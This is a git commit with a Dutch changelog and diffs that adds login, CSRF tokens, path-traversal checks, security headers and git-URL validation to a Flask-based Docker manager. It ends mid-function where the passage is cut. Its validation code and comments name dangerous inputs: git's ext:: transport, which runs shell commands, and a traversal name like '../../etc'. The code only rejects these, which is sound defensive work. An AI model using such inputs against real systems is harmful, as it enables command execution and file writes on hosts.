v0.5.00-beta - authenticatie + beveiligingsfixes

Server Up beheerde de Docker-daemon als root zonder enige vorm van
authenticatie: elke /api/*-route was gelijk aan root-toegang op de host.

- Authenticatie toegevoegd (core/auth.py): lokale accounts met scrypt-hash,
  sessiecookie (HttpOnly, SameSite=Strict) en optionele trusted-proxy-header
  SSO die alleen vanaf geconfigureerde proxy-IP's wordt vertrouwd.
- before_request-guard schermt alle API-routes af; loginscherm en
  eerste-account-setup in de UI.
- CSRF-token verplicht op elke mutatie; GET-varianten van state-wijzigende
  routes verwijderd (o.a. /api/docker/restart was via <img> te triggeren).
- Path traversal in /api/store/install gedicht; gedeelde safe_name()-validatie
  voor stack-, instantie- en repo-namen.
- Git-tokens worden niet meer teruggegeven via /api/repos en /api/settings
  (has_token-vlag); settings-PUT wist een bestaand token niet meer en kan AUTH
  niet overschrijven.
- Git-URL's beperkt tot http(s)/ssh/scp-syntax; ext::-transport (voert een
  shell-commando uit) en file:// worden geweigerd.
- Boilerplate-templates renderen in een SandboxedEnvironment (SSTI).
- Automatisch syncen van repo's bij boot standaard uit (AUTO_SYNC_ON_BOOT),
  optionele commit-pinning per repo.
- Waitress in plaats van de Flask-ontwikkelserver, MAX_CONTENT_LENGTH,
  ProxyFix, en CSP/X-Frame-Options/nosniff/Referrer-Policy headers.
- Front-end libraries (Tailwind, Alpine, htmx) lokaal meegeleverd i.p.v. CDN;
  Google Fonts verwijderd. Werkt nu ook offline.
- SSH host-key-verificatie aan (accept-new + /data/known_hosts).
- Lichte /healthz voor de healthcheck i.p.v. `docker info`.
- config.json en secret.key met 0600-rechten.
- Poort standaard op 127.0.0.1 gebonden.
- Audit-log gebruikt één gedeelde SQLite-verbinding (fd-lek per job verholpen);
  joblogs afgekapt op 2000 regels.
- VERSION-bestand is de enige bron voor het versienummer.
- pytest-suite toegevoegd (74 tests) en als stap in beide deploy-workflows.
- fix-config.sh verwijderd (hardgecodeerd intern IP, overschreef config).

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01C7oLCRYzY5ixJ5Sv8Y8EFb
This commit is contained in:
Ramon 2026-07-26 14:40:05 +02:00
parent 7eee8ba8ca
commit 916e54a229
22 changed files with 1486 additions and 149 deletions

View file

@ -41,6 +41,13 @@ jobs:
echo "SU_VERSION=${VERSION}" >> "$GITHUB_ENV"
echo "Deploying version: ${VERSION} (${CHANNEL})"
- name: Tests draaien
run: |
set -euo pipefail
python3 -m venv /tmp/su-test-venv
/tmp/su-test-venv/bin/pip install -q -r server-up/requirements.txt pytest
/tmp/su-test-venv/bin/python -m pytest tests -q
- name: Sync code naar deploy-directory
run: |
set -euo pipefail

View file

@ -41,6 +41,13 @@ jobs:
echo "SU_VERSION=${VERSION}" >> "$GITHUB_ENV"
echo "Deploying version: ${VERSION} (${CHANNEL})"
- name: Tests draaien
run: |
set -euo pipefail
python3 -m venv /tmp/su-test-venv
/tmp/su-test-venv/bin/pip install -q -r server-up/requirements.txt pytest
/tmp/su-test-venv/bin/python -m pytest tests -q
- name: Sync code naar deploy-directory
run: |
set -euo pipefail

2
.gitignore vendored
View file

@ -2,3 +2,5 @@ __pycache__/
*.pyc
*.pyo
.env
.pytest_cache/
venv/

View file

@ -37,19 +37,38 @@ COPY --from=build /inst /usr/local
WORKDIR /app
COPY server-up/ ./
COPY modules/ ./modules-bundled/
COPY VERSION ./VERSION
RUN mkdir -p static/fonts \
&& curl -fsSL "https://cdn.jsdelivr.net/npm/@mdi/font@7.4.47/css/materialdesignicons.min.css" -o static/fonts/mdi.min.css \
&& curl -fsSL "https://cdn.jsdelivr.net/npm/@mdi/font@7.4.47/fonts/materialdesignicons-webfont.woff2" -o static/fonts/materialdesignicons-webfont.woff2 \
&& sed -i "s|https://cdn.jsdelivr.net/npm/@mdi/font@7.4.47/fonts/||g" static/fonts/mdi.min.css
# Front-end libraries meeleveren in plaats van vanaf een CDN laden. Zo kan de
# Content-Security-Policy op 'self' blijven, is er geen supply-chain-risico van
# unpkg/jsdelivr op runtime, en werkt de UI ook zonder internetverbinding.
RUN mkdir -p static/vendor \
&& curl -fsSL "https://cdn.tailwindcss.com/3.4.16?plugins=forms,typography" \
-o static/vendor/tailwind.js \
&& curl -fsSL "https://cdn.jsdelivr.net/npm/alpinejs@3.14.1/dist/cdn.min.js" \
-o static/vendor/alpine.min.js \
&& curl -fsSL "https://cdn.jsdelivr.net/npm/htmx.org@2.0.3/dist/htmx.min.js" \
-o static/vendor/htmx.min.js \
&& for f in static/vendor/tailwind.js static/vendor/alpine.min.js static/vendor/htmx.min.js; do \
test -s "$f" || { echo "LEEG: $f"; exit 1; }; \
done
# Directories + git safe.directory (fix dubious ownership)
RUN mkdir -p /data/stacks /data/appdata /data/backups /data/git modules /root \
&& printf '[safe]\n\tdirectory = *\n' > /root/.gitconfig
# GIT_SSH_COMMAND: StrictHostKeyChecking=accept-new vertrouwt een host bij de
# eerste verbinding en bewaart de sleutel in /data/known_hosts. Wijzigt die
# sleutel later, dan faalt de verbinding — met `no` was elke MITM onzichtbaar.
ENV PYTHONUNBUFFERED=1 PORT=5000 HOME=/root \
SU_VERSION=${SU_VERSION} \
SU_CONFIG=/data/config.json SU_AUDIT=/data/audit.db SU_GIT_CACHE=/data/git \
GIT_SSH_COMMAND="ssh -F /dev/null -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null"
SU_SECRET=/data/secret.key \
GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=accept-new -o UserKnownHostsFile=/data/known_hosts"
EXPOSE 5000
HEALTHCHECK --interval=30s --timeout=8s --start-period=15s CMD curl -fs http://localhost:5000/api/docker/info || exit 1
HEALTHCHECK --interval=30s --timeout=8s --start-period=15s CMD curl -fs http://localhost:5000/healthz || exit 1
CMD ["python","app.py"]

View file

@ -1 +1 @@
0.4.60
0.5.00-beta

View file

@ -17,7 +17,10 @@ services:
# Wijzig BASE_DIR in .env om alle paden te verplaatsen
- ${BASE_DIR:-/opt/serverup}:${BASE_DIR:-/opt/serverup}
ports:
- "${PORT:-5000}:5000"
# Standaard alleen bereikbaar vanaf de host zelf. Server Up beheert de
# Docker-daemon, dus zet dit pas open als er een reverse proxy met TLS
# voor staat: BIND=0.0.0.0 in .env (en stel in de UI de trusted proxy in).
- "${BIND:-127.0.0.1}:${PORT:-5000}:5000"
environment:
- PORT=5000
- HOME=/root

View file

@ -1,47 +0,0 @@
#!/bin/bash
# Repareer de APP_REPOS in de Server Up config:
# - Verwijdert dubbele entries
# - Geeft de Forgejo dev-repo een uniek id (bes-r-dev)
set -euo pipefail
docker exec server-up python3 -c "
import json
from pathlib import Path
p = Path('/data/config.json')
cfg = json.loads(p.read_text())
cfg['APP_REPOS'] = [
{
'id': 'server-up',
'name': 'server-up (GitHub)',
'url': 'https://github.com/bes-r/server-up.git',
'branch': 'main',
'subdir': 'apps',
'token': ''
},
{
'id': 'boilerplates',
'name': 'Boilerplates (ChristianLempa)',
'url': 'https://github.com/ChristianLempa/boilerplates-library.git',
'branch': 'main',
'subdir': 'compose'
},
{
'id': 'bes-r-dev',
'name': 'bes-r (dev)',
'url': 'http://10.0.20.22:3000/bes-r/server-up.git',
'branch': 'dev',
'token': '',
'subdir': 'apps'
}
]
p.write_text(json.dumps(cfg, indent=2))
print('Config bijgewerkt.')
"
echo "Container herstarten..."
cd /opt/docker/server-up && docker compose restart
echo "Klaar. Ga in Server Up naar de app-store en klik op Synchroniseren voor 'bes-r (dev)'."

View file

@ -1,6 +1,7 @@
"""Server Up — Docker Manager."""
from __future__ import annotations
import inspect, json, os, re, shutil, subprocess, sys, time
import inspect, json, os, re, secrets, shutil, subprocess, sys, time
from datetime import timedelta
from pathlib import Path
# Ensure app dir is in sys.path so modules can import 'from modules.base' and 'from core'
@ -9,16 +10,50 @@ if str(APP) not in sys.path:
sys.path.insert(0, str(APP))
import yaml
from flask import Flask, Response, jsonify, render_template, request
from flask import Flask, Response, jsonify, render_template, request, session
import core as cfg
from core import audit, jobs, i18n
from core import docker, git, boilerplates, updater
from core import auth, docker, git, boilerplates, updater
from core.modules import Module, CORE, discover
app = Flask(__name__, static_folder="static", template_folder="templates")
VERSION = os.environ.get("SU_VERSION", "0.4.60")
def _version() -> str:
"""Versienummer: env-var wint, anders het centrale VERSION-bestand."""
env = os.environ.get("SU_VERSION", "").strip()
if env and env != "dev":
return env
for candidate in (APP / "VERSION", APP.parent / "VERSION"):
try:
v = candidate.read_text(encoding="utf-8").strip()
if v:
return v
except Exception:
continue
return env or "0.0.0"
VERSION = _version()
# ── App-configuratie ─────────────────────────────────────────────────────────
app.secret_key = auth.secret_key()
app.config.update(
SESSION_COOKIE_HTTPONLY=True,
SESSION_COOKIE_SAMESITE="Strict",
# Alleen zinvol achter TLS; anders zou de cookie nooit verstuurd worden.
SESSION_COOKIE_SECURE=bool(os.environ.get("SU_HTTPS")),
PERMANENT_SESSION_LIFETIME=timedelta(hours=12),
MAX_CONTENT_LENGTH=2 * 1024 * 1024,
)
# Achter een reverse proxy is request.remote_addr het proxy-adres; ProxyFix
# herstelt het echte client-IP. Alleen inschakelen als er ook daadwerkelijk
# vertrouwde proxy's zijn geconfigureerd — anders kan iedereen zijn IP vervalsen.
if auth.settings().get("trusted_proxies"):
from werkzeug.middleware.proxy_fix import ProxyFix
app.wsgi_app = ProxyFix(app.wsgi_app, x_for=1, x_proto=1, x_host=1)
MODULES: list[Module] = []
USER_MOD = APP / "modules"
@ -105,17 +140,182 @@ def _notify_restart(mid: str) -> tuple[bool, str]:
# API
# ══════════════════════════════════════════════════════════════════════════════
# ── Authenticatie ─────────────────────────────────────────────────────────────
# Routes die zonder sessie bereikbaar moeten zijn. `/` levert alleen de lege
# app-shell; alle gegevens komen via /api/* en zijn dus wél afgeschermd.
PUBLIC_PATHS = frozenset({
"/", "/healthz", "/favicon.ico",
"/api/auth/me", "/api/auth/login", "/api/auth/logout", "/api/auth/setup",
})
@app.before_request
def require_auth():
p = request.path
if p in PUBLIC_PATHS or p.startswith("/static/"):
return None
if auth.current_user():
# Sessie-gebaseerde auth is kwetsbaar voor CSRF; elke mutatie moet het
# token meesturen dat alleen same-origin JavaScript kan uitlezen.
if request.method not in ("GET", "HEAD", "OPTIONS"):
if not auth.verify_csrf(request.headers.get("X-CSRF-Token")):
return jsonify(ok=False, msg="Ongeldig of ontbrekend CSRF-token"), 403
return None
if auth.needs_setup():
return jsonify(ok=False, msg="Server Up is nog niet ingesteld",
needs_setup=True), 401
return jsonify(ok=False, msg="Niet ingelogd"), 401
@app.route("/api/auth/me")
def api_auth_me():
user = auth.current_user()
a = auth.settings()
return jsonify(authenticated=bool(user), user=user or "",
needs_setup=auth.needs_setup(), mode=a.get("mode", "local"),
version=VERSION,
csrf_token=auth.csrf_token() if user else "")
@app.route("/api/auth/setup", methods=["POST"])
def api_auth_setup():
"""Maak het eerste account aan. Werkt alleen zolang er nog geen account is."""
if not auth.needs_setup():
return jsonify(ok=False, msg="Er bestaat al een account"), 409
d = request.json or {}
ok, msg = auth.create_user(d.get("username", ""), d.get("password", ""))
if not ok:
return jsonify(ok=False, msg=msg), 400
auth.start_session(d.get("username", "").strip())
audit.log("auth", "setup", "ok", ref=d.get("username", ""), ip=request.remote_addr)
return jsonify(ok=True, msg=msg, csrf_token=auth.csrf_token())
@app.route("/api/auth/login", methods=["POST"])
def api_auth_login():
d = request.json or {}
name = (d.get("username") or "").strip()
ok, msg = auth.check_login(name, d.get("password", ""))
if not ok:
audit.log("auth", "login", "error", ref=name, detail=msg,
ip=request.remote_addr)
return jsonify(ok=False, msg=msg), 401
auth.start_session(name)
audit.log("auth", "login", "ok", ref=name, ip=request.remote_addr)
return jsonify(ok=True, msg=msg, user=name, csrf_token=auth.csrf_token())
@app.route("/api/auth/logout", methods=["POST"])
def api_auth_logout():
user = session.get("user", "")
auth.end_session()
if user:
audit.log("auth", "logout", "ok", ref=user, ip=request.remote_addr)
return jsonify(ok=True)
@app.route("/api/auth/password", methods=["POST"])
def api_auth_password():
d = request.json or {}
user = auth.current_user()
ok, _ = auth.check_login(user, d.get("current", ""))
if not ok:
return jsonify(ok=False, msg="Huidig wachtwoord klopt niet"), 403
ok, msg = auth.set_password(user, d.get("new", ""))
if ok:
audit.log("auth", "password", "ok", ref=user, ip=request.remote_addr)
return jsonify(ok=ok, msg=msg), (200 if ok else 400)
@app.route("/api/auth/users")
def api_auth_users():
a = auth.settings()
return jsonify(users=auth.users(), mode=a.get("mode", "local"),
proxy_header=a.get("proxy_header", ""),
trusted_proxies=a.get("trusted_proxies", []))
@app.route("/api/auth/users", methods=["POST"])
def api_auth_users_add():
d = request.json or {}
ok, msg = auth.create_user(d.get("username", ""), d.get("password", ""))
if ok:
audit.log("auth", "user_add", "ok", ref=d.get("username", ""),
ip=request.remote_addr)
return jsonify(ok=ok, msg=msg), (200 if ok else 400)
@app.route("/api/auth/users/<name>", methods=["DELETE"])
def api_auth_users_del(name):
ok, msg = auth.delete_user(name)
if ok:
audit.log("auth", "user_del", "ok", ref=name, ip=request.remote_addr)
return jsonify(ok=ok, msg=msg), (200 if ok else 400)
@app.route("/api/auth/mode", methods=["PUT"])
def api_auth_mode():
"""Stel de authenticatiemodus en de trusted-proxy-instellingen in."""
d = request.json or {}
a = auth.settings()
mode = d.get("mode", a.get("mode"))
if mode not in ("local", "proxy", "both"):
return jsonify(ok=False, msg="Ongeldige modus"), 400
proxies = d.get("trusted_proxies", a.get("trusted_proxies") or [])
if not isinstance(proxies, list):
return jsonify(ok=False, msg="trusted_proxies moet een lijst zijn"), 400
if mode in ("proxy", "both") and not proxies:
return jsonify(ok=False,
msg="Geef minstens één vertrouwd proxy-IP op, anders kan "
"iedereen de identiteitsheader vervalsen."), 400
if mode == "proxy" and not d.get("confirm_lockout"):
return jsonify(ok=False,
msg="In modus 'proxy' vervalt de lokale login. Bevestig "
"dat de reverse proxy werkt voordat je omschakelt."), 400
a.update({"mode": mode,
"proxy_header": (d.get("proxy_header") or a.get("proxy_header") or "").strip(),
"trusted_proxies": [str(p).strip() for p in proxies if str(p).strip()]})
cfg.patch({"AUTH": a})
audit.log("auth", "mode", "ok", ref=mode, ip=request.remote_addr)
return jsonify(ok=True, msg="Instellingen opgeslagen")
# ── UI ────────────────────────────────────────────────────────────────────────
@app.route("/")
def index():
resp = render_template("index.html")
return resp
@app.route("/healthz")
def healthz():
"""Lichtgewicht liveness-check voor de Docker-healthcheck: geen subprocess."""
return jsonify(ok=True, version=VERSION)
@app.after_request
def no_cache(response):
def security_headers(response):
if request.path == "/" or request.path.endswith(".html"):
response.headers["Cache-Control"] = "no-cache, no-store, must-revalidate"
response.headers["Pragma"] = "no-cache"
# Alle scripts/styles/fonts worden meegeleverd (zie Dockerfile), dus 'self'
# volstaat. 'unsafe-inline' is nodig voor Alpine's x-* attributen en de
# inline tailwind.config; 'unsafe-eval' voor Alpine's expressie-evaluatie.
response.headers.setdefault("Content-Security-Policy", (
"default-src 'self'; "
"script-src 'self' 'unsafe-inline' 'unsafe-eval'; "
"style-src 'self' 'unsafe-inline'; "
"img-src 'self' data: https:; "
"font-src 'self' data:; "
"connect-src 'self'; "
"frame-ancestors 'none'; "
"base-uri 'none'; "
"form-action 'self'"))
response.headers.setdefault("X-Frame-Options", "DENY")
response.headers.setdefault("X-Content-Type-Options", "nosniff")
response.headers.setdefault("Referrer-Policy", "no-referrer")
return response
@ -160,7 +360,7 @@ def api_images_prune():
return jsonify(ok=ok, msg=msg)
@app.route("/api/docker/restart", methods=["GET", "POST"])
@app.route("/api/docker/restart", methods=["POST"])
def api_restart():
"""Restart the Server Up container itself."""
audit.log("core", "restart", "ok", ip=request.remote_addr)
@ -226,12 +426,27 @@ def api_stacks():
return jsonify(out)
@app.route("/api/stacks/<name>/<action>", methods=["POST"])
def api_stack_action(name, action):
def _stack_dir(name: str) -> tuple[Path | None, Path | None]:
"""Resolve een stacknaam naar een map binnen LIBRARY_DIR.
Retourneert (library, stackmap) of (None, None) als de naam ongeldig is of
buiten de library zou wijzen. Elke route die met een door de gebruiker
aangeleverde stacknaam werkt, hoort hier doorheen te gaan.
"""
if not cfg.safe_name(name):
return None, None
lib = Path(cfg.load()["LIBRARY_DIR"]).resolve()
d = (lib / name).resolve()
if not d.is_relative_to(lib):
return jsonify(ok=False, msg="ongeldig pad"), 400
if not d.is_relative_to(lib) or d == lib:
return None, None
return lib, d
@app.route("/api/stacks/<name>/<action>", methods=["POST"])
def api_stack_action(name, action):
lib, d = _stack_dir(name)
if not d:
return jsonify(ok=False, msg="ongeldige naam"), 400
if not d.exists():
return jsonify(ok=False, msg="niet gevonden"), 404
if action not in ("start", "stop", "restart", "update", "remove", "backup"):
@ -293,56 +508,57 @@ def api_stack_action(name, action):
@app.route("/api/stacks/<name>/env")
def api_stack_env(name):
lib = Path(cfg.load()["LIBRARY_DIR"]).resolve()
d = (lib / name).resolve()
if not d.is_relative_to(lib):
return jsonify(ok=False, msg="ongeldig pad"), 400
lib, d = _stack_dir(name)
if not d:
return jsonify(ok=False, msg="ongeldige naam"), 400
return jsonify(content=docker.read_env(d))
@app.route("/api/stacks/<name>/env", methods=["PUT"])
def api_stack_env_put(name):
lib = Path(cfg.load()["LIBRARY_DIR"]).resolve()
d = (lib / name).resolve()
if not d.is_relative_to(lib):
return jsonify(ok=False, msg="ongeldig pad"), 400
lib, d = _stack_dir(name)
if not d:
return jsonify(ok=False, msg="ongeldige naam"), 400
docker.write_env(d, (request.json or {}).get("content", ""))
return jsonify(ok=True)
@app.route("/api/stacks/<name>/compose")
def api_stack_compose(name):
lib = Path(cfg.load()["LIBRARY_DIR"]).resolve()
d = (lib / name).resolve()
if not d.is_relative_to(lib):
return jsonify(ok=False, msg="ongeldig pad"), 400
lib, d = _stack_dir(name)
if not d:
return jsonify(ok=False, msg="ongeldige naam"), 400
return jsonify(content=docker.read_compose(d))
@app.route("/api/stacks/<name>/compose", methods=["PUT"])
def api_stack_compose_put(name):
lib = Path(cfg.load()["LIBRARY_DIR"]).resolve()
d = (lib / name).resolve()
if not d.is_relative_to(lib):
return jsonify(ok=False, msg="ongeldig pad"), 400
lib, d = _stack_dir(name)
if not d:
return jsonify(ok=False, msg="ongeldige naam"), 400
docker.write_compose(d, (request.json or {}).get("content", ""))
return jsonify(ok=True)
@app.route("/api/stacks/<name>/logs")
def api_stack_logs(name):
lib = Path(cfg.load()["LIBRARY_DIR"]).resolve()
d = (lib / name).resolve()
if not d.is_relative_to(lib):
return jsonify(ok=False, msg="ongeldig pad"), 400
lib, d = _stack_dir(name)
if not d:
return jsonify(ok=False, msg="ongeldige naam"), 400
return jsonify(logs=docker.compose_logs(d, name=name))
# ── App Store ─────────────────────────────────────────────────────────────────
_BAD_URL_MSG = ("Ongeldige repo-URL. Toegestaan zijn http(s)://, ssh:// en "
"git@host:pad. Andere git-transports (zoals ext::) kunnen "
"commando's uitvoeren op de server.")
@app.route("/api/repos")
def api_repos():
repos = cfg.load().get("APP_REPOS", [])
# Nooit het token zelf teruggeven — alleen of er één ingesteld is.
repos = cfg.redact(cfg.load()).get("APP_REPOS", [])
result = [{**r, "cloned": git.cache_dir(r["id"]).exists()} for r in repos]
return jsonify(result)
@ -353,6 +569,8 @@ def api_repos_add():
url = d.get("url", "").strip()
if not url:
return jsonify(ok=False, msg="URL vereist")
if not cfg.valid_repo_url(url):
return jsonify(ok=False, msg=_BAD_URL_MSG), 400
repos = list(cfg.load().get("APP_REPOS", []))
existing_ids = {r["id"] for r in repos}
base_rid = d.get("id", url.split("/")[-1].replace(".git", "")).strip()[:30] or str(int(time.time()))
@ -380,7 +598,7 @@ def api_repos_del(rid):
return jsonify(ok=True)
@app.route("/api/repos/<rid>/sync", methods=["GET", "POST"])
@app.route("/api/repos/<rid>/sync", methods=["POST"])
def api_repos_sync(rid):
repo = next((r for r in cfg.load().get("APP_REPOS", []) if r["id"] == rid), None)
if not repo:
@ -414,6 +632,10 @@ def _is_stack_dir(p: Path) -> bool:
def _find_stack_src(stack: str, rid: str) -> Path | None:
"""Zoek de stack bronmap in de git cache."""
# `stack` en `rid` komen uit de request-body en worden hieronder in paden
# geplakt; zonder deze controle kan een naam als '../..' de cache uit wijzen.
if not cfg.safe_name(stack) or not cfg.safe_name(rid):
return None
repo = next((r for r in cfg.load().get("APP_REPOS", []) if r["id"] == rid), None)
if not repo:
return None
@ -567,6 +789,10 @@ def api_store_install():
bp_values = d.get("values", {}) # boilerplate variable values
if not stack:
return jsonify(ok=False, msg="stack vereist")
# De instantienaam bepaalt de doelmap én de compose-projectnaam. Zonder
# controle schrijft `"instance": "../../etc"` buiten de library.
if not cfg.safe_name(inst):
return jsonify(ok=False, msg="ongeldige instantienaam"), 400
src = _find_stack_src(stack, rid)
if not src:
@ -584,6 +810,8 @@ def api_store_install():
except Exception as e:
return jsonify(ok=False, msg=f"Library map kan niet aangemaakt worden: {e}")
dest = (lib / inst).resolve()
if not dest.is_relative_to(lib) or dest == lib:
return jsonify(ok=False, msg="ongeldige instantienaam"), 400
if dest.exists():
return jsonify(ok=False, msg=f"'{inst}' bestaat al")
@ -926,7 +1154,7 @@ def api_mod_update():
@app.route("/api/modrepos")
def api_modrepos():
repos = cfg.load().get("MODULE_REPOS", [])
repos = cfg.redact(cfg.load()).get("MODULE_REPOS", [])
return jsonify([{**r, "cloned": git.cache_dir(r["id"]).exists()} for r in repos])
@ -936,6 +1164,8 @@ def api_modrepos_add():
url = d.get("url", "").strip()
if not url:
return jsonify(ok=False, msg="URL vereist")
if not cfg.valid_repo_url(url):
return jsonify(ok=False, msg=_BAD_URL_MSG), 400
repos = list(cfg.load().get("MODULE_REPOS", []))
existing_ids = {r["id"] for r in repos}
base_rid = d.get("id", url.split("/")[-1].replace(".git", ""))[:30]
@ -961,7 +1191,7 @@ def api_modrepos_del(rid):
return jsonify(ok=True)
@app.route("/api/modrepos/<rid>/sync", methods=["GET", "POST"])
@app.route("/api/modrepos/<rid>/sync", methods=["POST"])
def api_modrepos_sync(rid):
repo = next((r for r in cfg.load().get("MODULE_REPOS", []) if r["id"] == rid), None)
if not repo:
@ -981,18 +1211,40 @@ def api_modrepos_sync(rid):
# ── Settings ──────────────────────────────────────────────────────────────────
_SETTINGS_HIDE = {"WIZARD_DONE", "ACTIVE_MODULES"}
@app.route("/api/settings")
def api_settings():
c = cfg.load()
hide = {"WIZARD_DONE", "ACTIVE_MODULES"}
return jsonify({k: v for k, v in c.items() if k not in hide})
c = cfg.redact(cfg.load())
return jsonify({k: v for k, v in c.items() if k not in _SETTINGS_HIDE})
@app.route("/api/settings", methods=["PUT"])
def api_settings_put():
d = request.json or {}
hide = {"WIZARD_DONE", "ACTIVE_MODULES"}
updates = {k: v for k, v in d.items() if k not in hide}
# AUTH loopt uitsluitend via /api/auth/* — anders kun je via de generieke
# settings-PUT je eigen wachtwoordhash of trusted_proxies injecteren.
blocked = _SETTINGS_HIDE | cfg.SECRET_KEYS
updates = {k: v for k, v in d.items() if k not in blocked}
current = cfg.load()
for key in ("APP_REPOS", "MODULE_REPOS"):
if key not in updates:
continue
if not isinstance(updates[key], list):
return jsonify(ok=False, msg=f"{key} moet een lijst zijn"), 400
known = {r.get("id"): r.get("token", "")
for r in current.get(key, []) if isinstance(r, dict)}
for r in updates[key]:
if not isinstance(r, dict):
return jsonify(ok=False, msg=f"Ongeldige repo in {key}"), 400
if r.get("url") and not cfg.valid_repo_url(r["url"]):
return jsonify(ok=False, msg=f"Ongeldige repo-URL: {r['url']}"), 400
# De UI kent het token niet meer (zie redact), dus een leeg veld
# betekent "ongewijzigd" en mag het bestaande token niet wissen.
r.pop("has_token", None)
if not (r.get("token") or "").strip():
r["token"] = known.get(r.get("id"), "")
if updates:
cfg.patch(updates)
return jsonify(ok=True)
@ -1111,10 +1363,8 @@ def api_wizard():
"APP_REPOS", "MODULE_REPOS")})
@app.route("/api/wizard/paths", methods=["GET", "POST"])
@app.route("/api/wizard/paths", methods=["POST"])
def api_wizard_paths():
if request.method == "GET":
return jsonify(ok=True, msg="use POST")
try:
d = request.json or {}
updates = {}
@ -1133,20 +1383,22 @@ def api_wizard_paths():
return jsonify(ok=False, msg=str(e))
@app.route("/api/wizard/repos", methods=["GET", "POST"])
@app.route("/api/wizard/repos", methods=["POST"])
def api_wizard_repos():
"""Sla repos op vanuit de wizard."""
if request.method == "GET":
return jsonify(ok=True, msg="use POST")
try:
d = request.json or {}
updates = {}
app_repos = d.get("APP_REPOS")
if app_repos is not None:
updates["APP_REPOS"] = [r for r in app_repos if r.get("url", "").strip()]
mod_repos = d.get("MODULE_REPOS")
if mod_repos is not None:
updates["MODULE_REPOS"] = [r for r in mod_repos if r.get("url", "").strip()]
for key in ("APP_REPOS", "MODULE_REPOS"):
given = d.get(key)
if given is None:
continue
kept = [r for r in given if r.get("url", "").strip()]
for r in kept:
if not cfg.valid_repo_url(r.get("url", "")):
return jsonify(ok=False,
msg=f"Ongeldige repo-URL: {r.get('url', '')}"), 400
updates[key] = kept
if updates:
cfg.patch(updates)
audit.log("wizard", "repos", "ok",
@ -1157,7 +1409,7 @@ def api_wizard_repos():
return jsonify(ok=False, msg=str(e))
@app.route("/api/wizard/sync", methods=["GET", "POST"])
@app.route("/api/wizard/sync", methods=["POST"])
def api_wizard_sync():
jid, q = jobs.create("wizard:sync")
@ -1192,6 +1444,8 @@ def api_wizard_git():
url = d.get("url", "").strip()
if not url:
return jsonify(ok=False, msg="URL vereist")
if not cfg.valid_repo_url(url):
return jsonify(ok=False, msg=_BAD_URL_MSG), 400
slug = url.rstrip("/").split("/")[-1].removesuffix(".git") or "eigen-git"
repo = {"id": slug, "url": url, "branch": "main"}
if d.get("token"):
@ -1260,14 +1514,14 @@ def api_wizard_git():
return jsonify(ok=True)
@app.route("/api/wizard/complete", methods=["GET", "POST"])
@app.route("/api/wizard/complete", methods=["POST"])
def api_wizard_done():
cfg.patch({"WIZARD_DONE": True})
audit.log("wizard", "complete", "ok")
return jsonify(ok=True)
@app.route("/api/wizard/reset", methods=["GET", "POST"])
@app.route("/api/wizard/reset", methods=["POST"])
def api_wizard_reset():
c = cfg.load()
c.pop("WIZARD_DONE", None)
@ -1402,10 +1656,17 @@ def _boot_sync():
Loopt na een korte pauze zodat Flask volledig opgestart is.
Bij eerste start worden repos gecloned; bij herstart wordt git pull gedraaid.
Standaard uitgeschakeld: automatisch pullen betekent dat wijzigingen in een
externe repo ongezien op deze server terechtkomen en modulecode uit die
repo wordt uitgevoerd. Zet AUTO_SYNC_ON_BOOT aan als je dat accepteert.
"""
import time
time.sleep(2)
c = cfg.load()
if not c.get("AUTO_SYNC_ON_BOOT"):
print(" [boot] auto-sync staat uit (AUTO_SYNC_ON_BOOT)")
return
for label, repo_list in [("App", c.get("APP_REPOS", [])),
("Module", c.get("MODULE_REPOS", []))]:
for repo in repo_list:
@ -1428,7 +1689,8 @@ def _boot_sync():
if __name__ == "__main__":
port = int(os.environ.get("PORT", 5000))
print(f"\n🚀 Server Up · http://0.0.0.0:{port}\n")
host = os.environ.get("SU_BIND", "0.0.0.0")
print(f"\n🚀 Server Up {VERSION} · http://{host}:{port}\n")
audit.init()
i18n.load()
print("Boot repos:")
@ -1438,7 +1700,15 @@ if __name__ == "__main__":
if not MODULES:
print(" (geen)")
audit.log("core", "startup", "ok")
if auth.needs_setup():
print("\n⚠ Nog geen account — open de webinterface en maak er één aan.")
print(" Tot dat moment kan iedereen die deze poort bereikt het account claimen.\n")
print("Boot sync (achtergrond):")
jobs.run(_boot_sync)
print(f"\n→ http://localhost:{port}\n")
app.run(host="0.0.0.0", port=port, debug=False, threaded=True)
if os.environ.get("SU_DEV"):
# Werkzeug-ontwikkelserver: handig lokaal, niet geschikt voor productie.
app.run(host=host, port=port, debug=False, threaded=True)
else:
from waitress import serve
serve(app, host=host, port=port, threads=8, ident="server-up")

View file

@ -2,6 +2,15 @@
import json, os, re, tempfile, threading
from pathlib import Path
# Namen van stacks/instanties: streng genoeg om padtrucs uit te sluiten en
# tegelijk geldig als docker-compose projectnaam.
_SAFE_NAME_RE = re.compile(r"^[a-zA-Z0-9][a-zA-Z0-9._-]{0,63}$")
# Git-transports die we toestaan. Alles daarbuiten (met name `ext::`, dat een
# shell-commando uitvoert, en `file://`) wordt geweigerd.
_URL_SCHEME_RE = re.compile(r"^(https?|ssh|git)://", re.IGNORECASE)
_SCP_SYNTAX_RE = re.compile(r"^[A-Za-z0-9._-]+@[A-Za-z0-9._-]+:[^\s]+$")
DEFAULTS = {
"LIBRARY_DIR": "/opt/serverup/stacks",
"DATA_DIR": "/opt/serverup/appdata",
@ -28,8 +37,19 @@ DEFAULTS = {
# http://10.0.20.22:3000/api/v1/repos/bes-r/server-up/releases
"UPDATE_API_URL": os.environ.get("SU_UPDATE_API", ""),
"UPDATE_INCLUDE_PRERELEASE": False,
# Authenticatie — beheerd via core.auth; hier alleen als placeholder zodat
# load() de sleutel kent. Wordt nooit via /api/settings teruggegeven.
"AUTH": {},
# Repo's synchroniseren bij elke start. Standaard uit: een gecompromitteerde
# upstream-repo levert anders vanzelf nieuwe templates/modules aan.
"AUTO_SYNC_ON_BOOT": False,
# Macvlan/ipvlan-netwerken waarmee stacks een eigen IP-adres krijgen.
"NETWORKS": [],
}
# Sleutels die nooit naar de client mogen: geheimen of interne administratie.
SECRET_KEYS = frozenset({"AUTH"})
_path: Path = Path(os.environ.get("SU_CONFIG", "/data/config.json"))
_lock = threading.RLock()
@ -62,6 +82,57 @@ def _sanitize_repos(repos: list) -> list:
return repos
def safe_name(name: str) -> str | None:
"""Valideer een stack-/instantienaam. Retourneert de naam of None.
Weigert lege namen, padscheidingstekens, `..` en alles wat buiten
